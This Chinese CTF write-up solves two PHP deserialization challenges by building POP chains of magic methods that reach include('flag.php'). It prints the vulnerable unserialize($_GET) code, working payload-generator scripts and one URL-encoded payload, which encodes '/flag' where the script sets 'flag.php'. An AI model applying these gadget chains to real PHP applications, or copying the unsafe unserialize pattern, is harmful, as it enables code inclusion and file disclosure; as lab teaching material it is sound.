pop学习之入门题二:

文章讲述了在PHP代码中发现的两个漏洞利用案例,涉及pop链攻击技术,即通过构造特定序列调用链触发恶意代码执行,如包含flag.php文件。作者详细解释了如何利用类的继承和方法调用顺序实现攻击并给出了实际的构造示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

时间不会永远只停留在过去的,你也不能永远活在那一刻。

[SWPUCTF 2021 新生赛]pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

 分析:

1.首先找到漏洞函数include(),包含了flag.php,条件是admin=w44m,passwd=08067,include函数又在Getflag()方法里。

2.要触发Getflag(),我们找到了w33m类里的__toString方法,里面用w00m参数执行了w22m参数。我们可以把w00m参数变成w44m的对象,w22m变成Getflag方法。

3.要触发__toString方法,我们要把所在类w33m的对象当做字符串使用,我们找到了w22m类的__destruct方法里面echo输出了属性w00m,我们可以把w00m变为w33m类的对象的。

4.而__destruct方法是在对象被销毁时自动触发的。所以我们可以构造pop链:

__destruct()->toString()->Getflag()

构造: 

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';


}

class w22m{
    public $w00m;

}

class w33m{
    public $w00m;
    public $w22m;

}

$a=new w44m();
$b=new w22m();
$c=new w33m();
$b->w00m=$c;
$c->w00m=$a;
$c->w22m='Getflag';
echo urlencode(serialize($b));
?>

[NISACTF 2022]popchains 

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

 分析:

1.找到漏洞函数include($value),在类Try_Work_Hard的append方法里, 要触发append方法,我们找到了__invoke方法里的$this->append()触发了append。而参数是var属性,所一我们需要让属性car=flag.php.

2.要触发__invoke()方法,就要让所在类的对象被当作方法使用。我们找到了Make_a_Change类中的__get方法列把属性effort当作方法去执行。所以我们可以把属性$effort等于Try_Word_Hard类的属性。

3.要触发__get方法,就要让所在类Make_a_Change的对象访问一个不存在或不可访问的属性。

我们找到了Road_is_Long里的__toString方法,返回了一个string属性去访问page属性,我们可以使string成为类Make_a_Change的对象,page是类Make_a_Change不存在的属性。

4.要触发__toString方法,就要让所在类Road_is_Long的对象被当作字符串使用。我们找到了__wakeup方法里的preg_match使page作为一个字符串来过滤。。

5.触发__wakeup方法,在所在类Road_is_Long的对象被反序列化时自动触发。

这样我们就可以构造pop链了:

__wakeup()->__toSting()->__get()->__invoke()->append()

构造: 

<?php

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var="flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;


    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
$a=new Road_is_Long();
$d=new Road_is_Long();
$b=new Try_Work_Hard();
$c=new Make_a_Change();

$a->page=$d;
$c->effort=$b;
$d->string=$c;
echo urlencode(serialize($a));
?>

O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

注意: 

定义了两个Road_is_Long的对象$a和$d,将$a的属性page设置为$d,在执行到如下代码时

if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page))

会将page当作字符串处理,而此时page已经被设置为$d,也是在此触发__toString(),将$d的string属性设置为Make_a_Change的对象Make_a_ChangeObject,此时去访问Make_a_ChangeObject的page属性,page属性不存在,触发__get(),再将Make_a_ChangeObject的effort设置为Try_Work_Hard的对象Try_Work_HardObject,Try_Work_Hard的var因为是protected,所以在类中设置默认值为 /flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值